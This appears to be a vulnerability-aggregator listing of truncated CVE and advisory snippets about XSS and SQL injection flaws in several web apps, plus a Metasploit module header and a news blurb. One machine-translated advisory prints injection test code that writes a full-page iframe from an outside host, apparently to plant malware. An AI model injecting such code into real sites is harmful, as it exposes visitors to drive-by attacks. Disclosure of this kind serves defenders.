CVE-2010-1742

Cross-site scripting XSS vulnerability in projects.php in Scratcher allows remote attackers to inject arbitrary web script or HTML via the show parameter...

CVE-2010-1742

Cross-site scripting XSS vulnerability in projects.php in Scratcher allows remote attackers to inject arbitrary web script or HTML via the show parameter...

CVE-2010-1742: Improper Neutralization of Input During Web Page Generation

Cross-site scripting XSS vulnerability in projects.php in Scratcher allows remote attackers to inject arbitrary web script or HTML via the show parameter...

Former Pennsylvania CSO Maley Speaks

Robert Maley was fired from his job as the chief information security officer for the state of Pennsylvania earlier this month after he spoke, without proper authorization, about security incidents involving the state during a panel discussion at the RSA trade show. In this interview, Maley gives...

Sohu 2 0 1 0 show channels exist hung it to the vulnerability 0day-vulnerability warning-the black bar safety net

Together to chat about the show section,not the user input is strict filtering,which leads can be inserted into the malicious code so as to achieve hung it to the object. ! Test code: Copy the code document. write"iframe width='1 0 0 0' height=1 0 0 0' src='http://www.hackqing.cn/mm.htm/iframe";...

CVE-2010-0002

The /etc/profile.d/60alias.sh script in the Mandriva bash package for Bash 2.05b, 3.0, 3.2, 3.2.48, and 4.0 enables the --show-control-chars option in LSOPTIONS, which allows local users to send escape sequences to terminal emulators, or hide the existence of a file, via a crafted filename...

ProShow Gold v4.0.2549 (PSH File) Stack Buffer Overflow

$Id: proshowcellimagebof.rb 7911 2009-12-18 00:19:04Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use...

ASP Invision Gallery Show SQL Injection

? ?????????????????????????In The Name Of Allah The Mercifull?????????????????????? ? Tybe:galleryshow.asp GID suffer from Blind SQL Injection Vulnerability Vendor:www.aspinvision.com Software: iPortal X author: R3d-D3v!L ? Home: WwW.xP10.ME ? contact: N/A ? ???????????????????????DEV!L'5 of...

CVE-2009-3528

SQL injection vulnerability in Profile.php in MyMsg 1.0.3 allows remote authenticated users to execute arbitrary SQL commands via the uid parameter in a show action...

CVE-2009-3528: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in Profile.php in MyMsg 1.0.3 allows remote authenticated users to execute arbitrary SQL commands via the uid parameter in a show action...

CVE-2009-3356

SQL injection vulnerability in index.php in Image voting 1.0 allows remote attackers to execute arbitrary SQL commands via the show parameter...

Sql injection

SQL injection vulnerability in index.php in Image voting 1.0 allows remote attackers to execute arbitrary SQL commands via the show parameter...

CVE-2009-3356: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in index.php in Image voting 1.0 allows remote attackers to execute arbitrary SQL commands via the show parameter...

CVE-2009-3367: Improper Neutralization of Input During Web Page Generation

Multiple cross-site scripting XSS vulnerabilities in An image gallery 1.0 allow remote attackers to inject arbitrary web script or HTML via the path parameter to 1 index.php and 2 main.php, and the 3 show parameter to main.php. NOTE: the provenance of this information is unknown; the details are...

CVE-2009-3308

SQL injection vulnerability in show-cat.php in FanUpdate 2.2.1 allows remote attackers to execute arbitrary SQL commands via the listingid parameter...

CVE-2009-3308: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in show-cat.php in FanUpdate 2.2.1 allows remote attackers to execute arbitrary SQL commands via the listingid parameter...

FanUpdate 2.2.1 (show-cat.php listingid) SQL Injection Vuln

No description provided by source. Author : InSecurity Romania Website : https://insecurity.ro Vulnerable script : FanUpdate 2.2.1 - Explanation See show-cat.php file ----------------------------------------------------------------------------------------------- if !isset$listingid exit;...

FanUpdate 2.2.1 SQL Injection

Author : InSecurity Romania Website : https://insecurity.ro Vulnerable script : FanUpdate 2.2.1 - Explanation See show-cat.php file ----------------------------------------------------------------------------------------------- if !isset$listingid exit; requireonce'blog-config.php';...

FanUpdate 2.2.1 - 'show-cat.php' SQL Injection

Author : InSecurity Romania Website : https://insecurity.ro Vulnerable script : FanUpdate 2.2.1 - Explanation See show-cat.php file ----------------------------------------------------------------------------------------------- if !isset$listingid exit; requireonce'blog-config.php';...

FanUpdate 2.2.1 show-cat.php SQL Injection Vulnerability

No description provided by source. Author : InSecurity Romania Website : https://insecurity.ro Vulnerable script : FanUpdate 2.2.1 - Explanation See show-cat.php file ----------------------------------------------------------------------------------------------- if !isset$listingid exit;...